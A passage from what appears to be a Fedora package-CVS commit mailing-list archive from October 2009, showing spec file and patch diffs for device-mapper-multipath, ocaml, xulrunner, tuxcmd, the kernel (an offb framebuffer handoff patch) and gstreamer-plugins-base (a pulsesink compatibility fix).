+++ device-mapper-multipath.spec	27 Oct 2009 09:58:59 -0000	1.63
@@ -1,85 +1,85 @@
 Summary: Tools to manage multipath devices using device-mapper
 Name: device-mapper-multipath
 Version: 0.4.9
-Release: 5%{?dist}
+Release: 10%{?dist}
 License: GPL+
 Group: System Environment/Base
 URL: http://christophe.varoqui.free.fr/
 
-Source0: multipath-tools-090729.tgz
-Patch0: fix_missed_uevs.patch
-Patch1: log_all_messages.patch
-Patch2: queue_without_daemon.patch
-Patch3: path_checker.patch
-Patch4: root_init_script.patch
-Patch5: uninstall.patch
-Patch6: select_lib.patch
-Patch7: directio_message_cleanup.patch
-Patch8: fix_kpartx.patch
-Patch9: redhatification.patch
-Patch10: mpath_wait.patch
-Patch11: multipath_rules.patch
-Patch12: cciss_id.patch
-Patch13: stop_warnings.patch
-Patch14: move_bindings.patch
-Patch15: dont_remove.patch
-Patch16: udev_change.patch
+Source0: multipath-tools-091027.tar.gz
+Source1: multipath.conf.redhat
+# patch that should go upstream
+Patch1: 0001-for-upstream-add-tpg_pref-prioritizer.patch
+# local patches
+Patch1001: 0001-RH-queue-without-daemon.patch
+Patch1002: 0002-RH-path-checker.patch
+Patch1003: 0003-RH-root-init-script.patch
+Patch1004: 0004-RH-fix-kpartx.patch
+Patch1005: 0005-RH-cciss_id.patch
+Patch1006: 0006-RH-move-bindings.patch
+Patch1007: 0007-RH-do-not-remove.patch
+Patch1008: 0008-RH-Make-build-system-RH-Fedora-friendly.patch
+Patch1009: 0009-RH-multipathd-blacklist-all-by-default.patch
+Patch1010: 0010-RH-multipath-rules-udev-changes.patch
+Patch1011: 0011-RH-fix-init-script-LSB-headers.patch
+Patch1012: 0012-RH-explicitly-disable-dm-udev-sync-support-in-kpartx.patch
 
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+# runtime
 Requires: %{name}-libs = %{version}-%{release}
 Requires: kpartx = %{version}-%{release}
-Requires: device-mapper >= 1.02.02-2
+Requires: device-mapper >= 1.02.39-1
 Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
-BuildRequires: libaio-devel, device-mapper-devel
+
+# build/setup
+BuildRequires: libaio-devel, device-mapper-devel >= 1.02.39-1
 BuildRequires: libselinux-devel, libsepol-devel
 BuildRequires: readline-devel, ncurses-devel
 
+BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+
 %description
 %{name} provides tools to manage multipath devices by
 instructing the device-mapper multipath kernel module what to do. 
 The tools are :
-* multipath :   Scan the system for multipath devices and assemble them.
-* multipathd :  Detects when paths fail and execs multipath to update things.
+* multipath - Scan the system for multipath devices and assemble them.
+* multipathd - Detects when paths fail and execs multipath to update things.
 
 %package libs
-Summary: %{name} modules and shared library
+Summary: The %{name} modules and shared library
 License: GPL+
 Group: System Environment/Libraries
 
 %description libs
-%{name}-libs provides the path checker and prioritizer modules. It also
-contains the multipath shared library, libmultipath.
+The %{name}-libs provides the path checker
+and prioritizer modules. It also contains the multipath shared library,
+libmultipath.
 
 %package -n kpartx
 Summary: Partition device manager for device-mapper devices
 Group: System Environment/Base
-Provides: kpartx = %{version}-%{release}
 
 %description -n kpartx
 kpartx manages partition creation and removal for device-mapper devices.
 
 %prep
 %setup -q -n multipath-tools
-%patch0 -p1 -b .fix_missed_uevs
-%patch1 -p1 -b .log_all_messages
-%patch2 -p1 -b .queue_without_daemon
-%patch3 -p1 -b .path_checker
-%patch4 -p1 -b .root_init_script
-%patch5 -p1 -b .uninstall.patch
-%patch6 -p1 -b .select_lib
-%patch7 -p1 -b .directio_message_cleanup
-%patch8 -p1 -b .fix_kpartx
-%patch9 -p1 -b .redhatification
-%patch10 -p1 -b .mpath_wait
-%patch11 -p1 -b .multipath_rules
-%patch12 -p1 -b .cciss_id
-%patch13 -p1 -b .stop_warnings
-%patch14 -p1 -b .move_bindings
-%patch15 -p1 -b .dont_remove
-%patch16 -p1 -b .udev_change
+%patch1 -p1
+%patch1001 -p1
+%patch1002 -p1
+%patch1003 -p1
+%patch1004 -p1
+%patch1005 -p1
+%patch1006 -p1
+%patch1007 -p1
+%patch1008 -p1
+%patch1009 -p1
+%patch1010 -p1
+%patch1011 -p1
+%patch1012 -p1
+cp %{SOURCE1} .
 
 %build
 %define _sbindir /sbin
@@ -88,17 +88,25 @@ kpartx manages partition creation and re
 make %{?_smp_mflags} LIB=%{_lib}
 
 %install
-rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT bindir=%{_sbindir} syslibdir=%{_libdir} libdir=%{_libmpathdir} rcdir=%{_initrddir}
-install -m 0644 multipath/multipath.conf.redhat $RPM_BUILD_ROOT/etc/multipath.conf
-install -m 0755 multipathd/multipathd.init.redhat $RPM_BUILD_ROOT/%{_initrddir}/multipathd
-install -d $RPM_BUILD_ROOT/etc/multipath
+rm -rf %{buildroot}
+
+make install \
+	DESTDIR=%{buildroot} \
+	bindir=%{_sbindir} \
+	syslibdir=%{_libdir} \
+	libdir=%{_libmpathdir} \
+	rcdir=%{_initrddir}
+
+# tree fix up
+# install -m 0644 %{SOURCE1} %{buildroot}/etc/multipath.conf
+install -d %{buildroot}/etc/multipath
+mv %{buildroot}/etc/udev/rules.d/multipath.rules \
+	%{buildroot}/etc/udev/rules.d/40-multipath.rules
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %post
-/sbin/ldconfig
 /sbin/chkconfig --add multipathd
 if [ "$1" -gt "1" -a ! -e /etc/multipath/bindings -a \
     -f /var/lib/multipath/bindings ]; then
@@ -106,17 +114,15 @@ if [ "$1" -gt "1" -a ! -e /etc/multipath
 	ln -s /etc/multipath/bindings /var/lib/multipath/bindings
 fi
 
-
 %preun
 if [ "$1" = 0 ]; then
-        /sbin/service multipathd stop /dev/null 2>&1
-        /sbin/chkconfig --del multipathd
+	/sbin/service multipathd stop /dev/null 2>&1
+	/sbin/chkconfig --del multipathd
 fi
 
 %postun
-/sbin/ldconfig
 if [ "$1" -ge "1" ]; then
-        /sbin/service multipathd condrestart >/dev/null 2>&1 || :
+	/sbin/service multipathd condrestart >/dev/null 2>&1 || :
 fi
 
 %files
@@ -124,21 +130,26 @@ fi
 %{_sbindir}/multipath
 %{_sbindir}/multipathd
 %{_sbindir}/cciss_id
-%{_sbindir}/mpath_wait
 %{_initrddir}/multipathd
 %{_mandir}/man5/multipath.conf.5.gz
 %{_mandir}/man8/multipath.8.gz
 %{_mandir}/man8/multipathd.8.gz
 %config /etc/udev/rules.d/40-multipath.rules
-%config(noreplace) /etc/multipath.conf
-%doc AUTHOR COPYING README* FAQ multipath.conf.annotated multipath.conf.defaults multipath.conf.synthetic
+%doc AUTHOR COPYING FAQ
+%doc multipath.conf.redhat multipath.conf.annotated
+%doc multipath.conf.defaults multipath.conf.synthetic
 %dir /etc/multipath
 
 %files libs
 %defattr(-,root,root,-)
+%doc AUTHOR COPYING
 %{_libdir}/libmultipath.so
-%{_libmpathdir}
 %dir %{_libmpathdir}
+%{_libmpathdir}/*
+
+%post libs -p /sbin/ldconfig
+
+%postun libs -p /sbin/ldconfig
 
 %files -n kpartx
 %defattr(-,root,root,-)
@@ -146,7 +157,64 @@ fi
 %{_mandir}/man8/kpartx.8.gz
 
 %changelog
-* Thu Aug 20 2009 Benjamin Marzinski <bmarzins at redhat.com> - 0.4.8-5
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.4.9-10
+- Updated to latest upstream 0.4.9 code : multipath-tools-091027.tar.gz
+  (git commit id: a946bd4e2a529e5fba9c9547d03d3f91806618a3)
+- Drop unrequired for-upstream patches.
+- BuildRequires and Requires new device-mapper version for udev sync support.
+
+* Tue Oct 20 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.4.9-9
+- 0012-RH-explicitly-disable-dm-udev-sync-support-in-kpartx.patch
+
+* Mon Oct 19 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.4.9-8
+- Split patches in "for-upstream" and "RH" series.
+- Replace 0011-RH-multipathd-blacklist-all-by-default.patch with
+  version from Benjamin Marzinski.
+- Update udev rules 0010-RH-multipath-rules-udev-changes.patch.
+- rpmlint cleanup:
+  * Drop useless-provides kpartx.
+  * Cleanup tab vs spaces usage.
+  * Summary not capitalized.
+  * Missing docs in libs package.
+  * Fix init script LSB headers.
+- Drop README* files from doc sections (they are empty).
+
+* Thu Oct 15 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.4.9-7
+- Add patch 0010-RH-Set-friendly-defaults.patch:
+  * set rcdir to fedora default.
+  * do not install kpartx udev bits.
+  * install redhat init script.
+  * Cleanup spec file install target.
+- Add patch 0011-RH-multipathd-blacklist-all-by-default.patch:
+  * Fix BZ#528059
+  * Stop installing default config in /etc and move it to the doc dir.
+
+* Tue Oct 13 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.4.9-6
+- Updated to latest upstream 0.4.9 code : multipath-tools-091013.tar.gz
+  (git commit id: aa0a885e1f19359c41b63151bfcface38ccca176)
+- Drop, now upstream, patches:
+  * fix_missed_uevs.patch.
+  * log_all_messages.patch.
+  * uninstall.patch.
+  * select_lib.patch.
+  * directio_message_cleanup.patch.
+  * stop_warnings.patch.
+- Drop redhatification.patch in favour of spec file hacks.
+- Drop mpath_wait.patch: no longer required.
+- Merge multipath_rules.patch and udev_change.patch.
+- Rename all patches based on source.
+- Add patch 0009-RH-fix-hp-sw-hardware-table-entries.patch to fix
+  default entry for hp_sw and match current kernel.
+- Add multipath.conf.redhat as source instead of patch.
+- spec file:
+  * divide runtime and build/setup bits.
+  * update BuildRoot.
+  * update install section to apply all the little hacks here and there,
+    in favour of patches against upstream.
+  * move ldconfig invokation to libs package where it belong.
+  * fix libs package directory ownership and files.
+
+* Thu Aug 20 2009 Benjamin Marzinski <bmarzins at redhat.com> - 0.4.9-5
 - Fixed problem where maps were being added and then removed.
 - Changed the udev rules to fix some issues.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/device-mapper-multipath/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	29 Jul 2009 22:54:06 -0000	1.19
+++ sources	27 Oct 2009 09:58:59 -0000	1.20
@@ -1 +1 @@
-89a2e3d5ee8e78c7fb487cae00345815  multipath-tools-090729.tgz
+af9cc98e278066cabfa2f47e8852f506  multipath-tools-091027.tar.gz


--- bindings_file.patch DELETED ---


--- cciss_id.patch DELETED ---


--- directio_message_cleanup.patch DELETED ---


--- dont_remove.patch DELETED ---


--- fix_kpartx.patch DELETED ---


--- fix_missed_uevs.patch DELETED ---


--- log_all_messages.patch DELETED ---


--- move_bindings.patch DELETED ---


--- mpath_wait.patch DELETED ---


--- multipath_rules.patch DELETED ---


--- path_checker.patch DELETED ---


--- queue_without_daemon.patch DELETED ---


--- redhatification.patch DELETED ---


--- root_init_script.patch DELETED ---


--- select_lib.patch DELETED ---


--- stop_warnings.patch DELETED ---


--- udev_change.patch DELETED ---


--- uninstall.patch DELETED ---



From rjones at fedoraproject.org  Tue Oct 27 10:02:04 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue, 27 Oct 2009 10:02:04 +0000 (UTC)
Subject: rpms/ocaml/devel ocaml.spec,1.61,1.62
Message-ID: <20091027100204.7E64911C00E6@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5985

Modified Files:
	ocaml.spec 
Log Message:
Install ocaml.info files correctly (RHBZ#531204).


Index: ocaml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml/devel/ocaml.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- ocaml.spec	16 Oct 2009 15:31:50 -0000	1.61
+++ ocaml.spec	27 Oct 2009 10:02:04 -0000	1.62
@@ -2,7 +2,7 @@
 
 Name:           ocaml
 Version:        3.11.1
-Release:        4%{?dist}
+Release:        5%{?dist}
 
 Summary:        Objective Caml compiler and programming environment
 
@@ -271,8 +271,8 @@ rm -rf $RPM_BUILD_ROOT
 
 %post docs
 /sbin/install-info \
-    --entry "* ocaml: (ocaml).   The Objective Caml compiler and programming environment" \
-    --section "Programming Languages" \
+    --entry="* ocaml: (ocaml).   The Objective Caml compiler and programming environment" \
+    --section="Programming Languages" \
     %{_infodir}/%{name}.info \
     %{_infodir}/dir 2>/dev/null || :
 
@@ -451,6 +451,9 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-5
+- Install ocaml.info files correctly (RHBZ#531204).
+
 * Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-4
 - Set includes so building the *info programs works without
   having OCaml already installed.



From xhorak at fedoraproject.org  Tue Oct 27 10:07:34 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 10:07:34 +0000 (UTC)
Subject: rpms/xulrunner/devel .cvsignore, 1.71, 1.72 mozilla-libnotify.patch,
	1.2, 1.3 sources, 1.74, 1.75 xulrunner.spec, 1.176, 1.177
Message-ID: <20091027100734.574EF11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/xulrunner/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7387

Modified Files:
	.cvsignore mozilla-libnotify.patch sources xulrunner.spec 
Log Message:
Update to 1.9.1.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/devel/.cvsignore,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- .cvsignore	9 Sep 2009 09:28:33 -0000	1.71
+++ .cvsignore	27 Oct 2009 10:07:33 -0000	1.72
@@ -1,3 +1,4 @@
 xulrunner-1.9.1.1-source.tar.bz2
 xulrunner-1.9.1.2-source.tar.bz2
 xulrunner-1.9.1.3-source.tar.bz2
+xulrunner-1.9.1.4-source.tar.bz2

mozilla-libnotify.patch:
 config/autoconf.mk.in                             |    4 
 config/system-headers                             |    1 
 configure.in                                      |   34 ++
 js/src/config/system-headers                      |    1 
 toolkit/components/alerts/src/Makefile.in         |    2 
 toolkit/components/alerts/src/nsAlertsService.cpp |   12 
 toolkit/components/build/nsToolkitCompsCID.h      |   11 
 toolkit/system/gnome/Makefile.in                  |   18 +
 toolkit/system/gnome/nsAlertsIconListener.cpp     |  326 ++++++++++++++++++++++
 toolkit/system/gnome/nsAlertsIconListener.h       |   85 +++++
 toolkit/system/gnome/nsAlertsService.cpp          |   73 ++++
 toolkit/system/gnome/nsAlertsService.h            |   59 +++
 toolkit/system/gnome/nsGnomeModule.cpp            |   17 +
 13 files changed, 641 insertions(+), 2 deletions(-)

Index: mozilla-libnotify.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/devel/mozilla-libnotify.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mozilla-libnotify.patch	21 Aug 2009 13:45:13 -0000	1.2
+++ mozilla-libnotify.patch	27 Oct 2009 10:07:33 -0000	1.3
@@ -29,7 +29,7 @@ diff -up mozilla-1.9.1/configure.in.libn
 @@ -132,6 +132,7 @@ LIBGNOME_VERSION=2.0
  STARTUP_NOTIFICATION_VERSION=0.8
  DBUS_VERSION=0.60
- SQLITE_VERSION=3.6.10
+ SQLITE_VERSION=3.6.16
 +LIBNOTIFY_VERSION=0.4
  
  MSMANIFEST_TOOL=


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/devel/sources,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- sources	9 Sep 2009 09:28:33 -0000	1.74
+++ sources	27 Oct 2009 10:07:33 -0000	1.75
@@ -1 +1 @@
-ca167e69180ab1230aea0763da270a95  xulrunner-1.9.1.3-source.tar.bz2
+0b6ccb1e50d96b7127a18a69399fcf05  xulrunner-1.9.1.4-source.tar.bz2


Index: xulrunner.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/devel/xulrunner.spec,v
retrieving revision 1.176
retrieving revision 1.177
diff -u -p -r1.176 -r1.177
--- xulrunner.spec	9 Sep 2009 09:28:33 -0000	1.176
+++ xulrunner.spec	27 Oct 2009 10:07:34 -0000	1.177
@@ -11,7 +11,7 @@
 
 Summary:        XUL Runtime for Gecko Applications
 Name:           xulrunner
-Version:        1.9.1.3
+Version:        1.9.1.4
 Release:        1%{?dist}
 URL:            http://developer.mozilla.org/En/XULRunner
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
@@ -455,6 +455,9 @@ fi
 #---------------------------------------------------------------------
 
 %changelog
+* Mon Oct 26 2009 Jan Horak <jhorak at redhat.com> - 1.9.1.4-1
+- Update to 1.9.1.4
+
 * Mon Sep  7 2009 Jan Horak <jhorak at redhat.com> - 1.9.1.3-1
 - Update to 1.9.1.3
 



From tbzatek at fedoraproject.org  Tue Oct 27 10:27:02 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Tue, 27 Oct 2009 10:27:02 +0000 (UTC)
Subject: rpms/tuxcmd/F-12 .cvsignore, 1.7, 1.8 sources, 1.7, 1.8 tuxcmd.spec,
	1.17, 1.18
Message-ID: <20091027102702.E199611C00E6@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/tuxcmd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9813

Modified Files:
	.cvsignore sources tuxcmd.spec 
Log Message:
* Tue Oct 27 2009 Tomas Bzatek <tbzatek at redhat.com> 0.6.69-git20091027.1
- Rebase to latest git
- Enable PowerPC architectures



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tuxcmd/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	26 Oct 2009 10:12:49 -0000	1.7
+++ .cvsignore	27 Oct 2009 10:27:01 -0000	1.8
@@ -1,2 +1,2 @@
-tuxcmd-0.6.69.git20091026.tar.bz2
-tuxcmd-modules-0.6.69.git20091026.tar.bz2
+tuxcmd-0.6.69.git20091027.tar.bz2
+tuxcmd-modules-0.6.69.git20091027.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tuxcmd/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	26 Oct 2009 10:12:49 -0000	1.7
+++ sources	27 Oct 2009 10:27:01 -0000	1.8
@@ -1,2 +1,2 @@
-8f1c4ae4b1df121d9c6d527e16909e5b  tuxcmd-0.6.69.git20091026.tar.bz2
-f908778f267d862c22e37ad3c957cea0  tuxcmd-modules-0.6.69.git20091026.tar.bz2
+44eea8042a51c343308046ffa9b6ca9c  tuxcmd-0.6.69.git20091027.tar.bz2
+9b804e0dd8054119e19953403dc69c54  tuxcmd-modules-0.6.69.git20091027.tar.bz2


Index: tuxcmd.spec
===================================================================
RCS file: /cvs/extras/rpms/tuxcmd/F-12/tuxcmd.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- tuxcmd.spec	26 Oct 2009 10:12:50 -0000	1.17
+++ tuxcmd.spec	27 Oct 2009 10:27:01 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           tuxcmd
 Version:        0.6.69
-Release:        git20091026.1%{?dist}
+Release:        git20091027.1%{?dist}
 Summary:        Tux Commander: file manager with 2 panels side by side using GTK2
 
 Group:          Applications/File
@@ -12,8 +12,8 @@ ExcludeArch:    s390 s390x
 URL:            http://tuxcmd.sourceforge.net/
 # Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
 # Source1:        http://downloads.sourceforge.net/%{name}/%{name}-modules-%{version}.tar.bz2
-Source0:        %{name}-%{version}.git20091026.tar.bz2
-Source1:        %{name}-modules-%{version}.git20091026.tar.bz2
+Source0:        %{name}-%{version}.git20091027.tar.bz2
+Source1:        %{name}-modules-%{version}.git20091027.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: fpc >= 2.2.4-4%{?dist}.2
@@ -135,7 +135,7 @@ fi
 
 
 %changelog
-* Mon Oct 26 2009 Tomas Bzatek <tbzatek at redhat.com> 0.6.69-git20091026.1
+* Tue Oct 27 2009 Tomas Bzatek <tbzatek at redhat.com> 0.6.69-git20091027.1
 - Rebase to latest git
 - Enable PowerPC architectures
 



From airlied at fedoraproject.org  Tue Oct 27 10:27:31 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Tue, 27 Oct 2009 10:27:31 +0000 (UTC)
Subject: rpms/kernel/F-12 kms-offb-handoff.patch, NONE, 1.1 kernel.spec,
	1.1886, 1.1887
Message-ID: <20091027102731.5CEEC11C00E6@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9955

Modified Files:
	kernel.spec 
Added Files:
	kms-offb-handoff.patch 
Log Message:
* Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
- kms: add offb handoff patch for ppc to work


kms-offb-handoff.patch:
 offb.c |   16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

--- NEW FILE kms-offb-handoff.patch ---
>From 4cd832e342436e1c89e34debf7ff72387ed9ce2f Mon Sep 17 00:00:00 2001
From: Dave Airlie <airlied at ppcg5.localdomain>
Date: Tue, 22 Sep 2009 11:07:57 +1000
Subject: [PATCH] offb: add support for framebuffer handoff to offb.

This allows offb to be used for initial framebuffer,
and a kms driver to take over later in the boot sequence.

Signed-off-by: Dave Airlie <airlied at redhat.com>
---
 drivers/video/offb.c |   15 ++++++++++++++-
 1 files changed, 14 insertions(+), 1 deletions(-)

diff --git a/drivers/video/offb.c b/drivers/video/offb.c
index 4d8c54c..b043ac8 100644
--- a/drivers/video/offb.c
+++ b/drivers/video/offb.c
@@ -282,8 +282,17 @@ static int offb_set_par(struct fb_info *info)
 	return 0;
 }
 
+static void offb_destroy(struct fb_info *info)
+{
+	if (info->screen_base)
+		iounmap(info->screen_base);
+	release_mem_region(info->aperture_base, info->aperture_size);
+	framebuffer_release(info);
+}
+
 static struct fb_ops offb_ops = {
 	.owner		= THIS_MODULE,
+	.fb_destroy	= offb_destroy,
 	.fb_setcolreg	= offb_setcolreg,
 	.fb_set_par	= offb_set_par,
 	.fb_blank	= offb_blank,
@@ -482,10 +491,14 @@ static void __init offb_init_fb(const char *name, const char *full_name,
 	var->sync = 0;
 	var->vmode = FB_VMODE_NONINTERLACED;
 
+	/* set offb aperture size for generic probing */
+	info->aperture_base = address;
+	info->aperture_size = fix->smem_len;
+
 	info->fbops = &offb_ops;
 	info->screen_base = ioremap(address, fix->smem_len);
 	info->pseudo_palette = (void *) (info + 1);
-	info->flags = FBINFO_DEFAULT | foreign_endian;
+	info->flags = FBINFO_DEFAULT | FBINFO_MISC_FIRMWARE | foreign_endian;
 
 	fb_alloc_cmap(&info->cmap, 256, 0);
 
-- 
1.6.5.rc2



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1886
retrieving revision 1.1887
diff -u -p -r1.1886 -r1.1887
--- kernel.spec	27 Oct 2009 07:54:46 -0000	1.1886
+++ kernel.spec	27 Oct 2009 10:27:30 -0000	1.1887
@@ -686,6 +686,7 @@ Patch1585: linux-2.6-xen-increase-device
 Patch1586: linux-2.6-virtio_blk-add-support-for-cache-flush.patch
 
 # nouveau + drm fixes
+Patch1810: kms-offb-handoff.patch
 Patch1812: drm-next-3e5cb98d.patch
 Patch1813: drm-radeon-pm.patch
 Patch1814: drm-nouveau.patch
@@ -1373,6 +1374,7 @@ ApplyPatch linux-2.6-block-silently-erro
 ApplyPatch linux-2.6-e1000-ich9.patch
 
 # Nouveau DRM + drm fixes
+ApplyPatch kms-offb-handoff.patch
 ApplyPatch drm-next-3e5cb98d.patch
 
 ApplyPatch drm-nouveau.patch
@@ -2092,6 +2094,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
+- kms: add offb handoff patch for ppc to work
+
 * Tue Oct 27 2009 Ben Skeggs <bskeggs at redhat.com>
 - drm-nouveau.patch: misc fixes, very initial NVA8 work
 



From hadess at fedoraproject.org  Tue Oct 27 10:31:43 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 10:31:43 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/devel
	pulsesink-disable-old-version-hack.patch, NONE,
	1.1 gstreamer-plugins-base.spec, 1.93, 1.94
Message-ID: <20091027103143.6F20C11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10474

Modified Files:
	gstreamer-plugins-base.spec 
Added Files:
	pulsesink-disable-old-version-hack.patch 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-3
- Fix audio disappearing with newer pulsesink


pulsesink-disable-old-version-hack.patch:
 gstbaseaudiosink.c |   46 +++++++++++++++++++++++++++++++++++-----------
 1 file changed, 35 insertions(+), 11 deletions(-)

--- NEW FILE pulsesink-disable-old-version-hack.patch ---
>From 35cddfb1e3ddc6513c7daca093d72151a13e9342 Mon Sep 17 00:00:00 2001
From: Wim Taymans <wim.taymans at collabora.co.uk>
Date: Thu, 10 Sep 2009 10:38:16 +0000
Subject: baseaudiosink: add ugly backward compat hack

Check for pulsesink < 0.10.17 because it includes code that is now included in
baseaudiosink. Disable that code in baseaudiosink to be compatible with the
older version.
---
diff --git a/gst-libs/gst/audio/gstbaseaudiosink.c b/gst-libs/gst/audio/gstbaseaudiosink.c
index afa62c3..23fde25 100644
--- a/gst-libs/gst/audio/gstbaseaudiosink.c
+++ b/gst-libs/gst/audio/gstbaseaudiosink.c
@@ -56,6 +56,8 @@ struct _GstBaseAudioSinkPrivate
   gboolean sync_latency;
 
   GstClockTime eos_time;
+
+  gboolean do_time_offset;
 };
 
 /* BaseAudioSink signals and args */
@@ -231,12 +233,15 @@ gst_base_audio_sink_class_init (GstBaseAudioSinkClass * klass)
    * thread-safety in GObject */
   g_type_class_ref (GST_TYPE_AUDIO_CLOCK);
   g_type_class_ref (GST_TYPE_RING_BUFFER);
+
 }
 
 static void
 gst_base_audio_sink_init (GstBaseAudioSink * baseaudiosink,
     GstBaseAudioSinkClass * g_class)
 {
+  GstPluginFeature *feature;
+
   baseaudiosink->priv = GST_BASE_AUDIO_SINK_GET_PRIVATE (baseaudiosink);
 
   baseaudiosink->buffer_time = DEFAULT_BUFFER_TIME;
@@ -253,6 +258,24 @@ gst_base_audio_sink_init (GstBaseAudioSink * baseaudiosink,
   /* install some custom pad_query functions */
   gst_pad_set_query_function (GST_BASE_SINK_PAD (baseaudiosink),
       GST_DEBUG_FUNCPTR (gst_base_audio_sink_query_pad));
+
+  baseaudiosink->priv->do_time_offset = TRUE;
+
+  /* check the factory, pulsesink < 0.10.17 does the timestamp offset itself so
+   * we should not do ourselves */
+  feature =
+      GST_PLUGIN_FEATURE_CAST (GST_ELEMENT_CLASS (g_class)->elementfactory);
+  GST_DEBUG ("created from factory %p", feature);
+
+  /* HACK for old pulsesink that did the time_offset themselves */
+  if (feature) {
+    if (strcmp (gst_plugin_feature_get_name (feature), "pulsesink") == 0) {
+      if (!gst_plugin_feature_check_version (feature, 0, 10, 17)) {
+        /* we're dealing with an old pulsesink, we need to disable time corection */
+        baseaudiosink->priv->do_time_offset = FALSE;
+      }
+    }
+  }
 }
 
 static void
@@ -1409,16 +1432,18 @@ gst_base_audio_sink_render (GstBaseSink * bsink, GstBuffer * buf)
   }
 
   /* bring to position in the ringbuffer */
-  time_offset =
-      GST_AUDIO_CLOCK_CAST (sink->provided_clock)->abidata.ABI.time_offset;
-  if (render_start > time_offset)
-    render_start -= time_offset;
-  else
-    render_start = 0;
-  if (render_stop > time_offset)
-    render_stop -= time_offset;
-  else
-    render_stop = 0;
+  if (sink->priv->do_time_offset) {
+    time_offset =
+        GST_AUDIO_CLOCK_CAST (sink->provided_clock)->abidata.ABI.time_offset;
+    if (render_start > time_offset)
+      render_start -= time_offset;
+    else
+      render_start = 0;
+    if (render_stop > time_offset)
+      render_stop -= time_offset;
+    else
+      render_stop = 0;
+  }
 
   /* and bring the time to the rate corrected offset in the buffer */
   render_start = gst_util_uint64_scale_int (render_start,
--
cgit v0.8.2


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/gstreamer-plugins-base.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- gstreamer-plugins-base.spec	13 Oct 2009 15:32:49 -0000	1.93
+++ gstreamer-plugins-base.spec	27 Oct 2009 10:31:43 -0000	1.94
@@ -3,7 +3,7 @@
 
 Name: 		%{gstreamer}-plugins-base
 Version: 	0.10.25
-Release:  	2%{?dist}
+Release:  	3%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -37,6 +37,11 @@ Obsoletes:	gstreamer-plugins
 Patch0:		gstpb-no-subtitle-errors.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=591677
 Patch1:		gstpb-fix-missing-plugins.patch
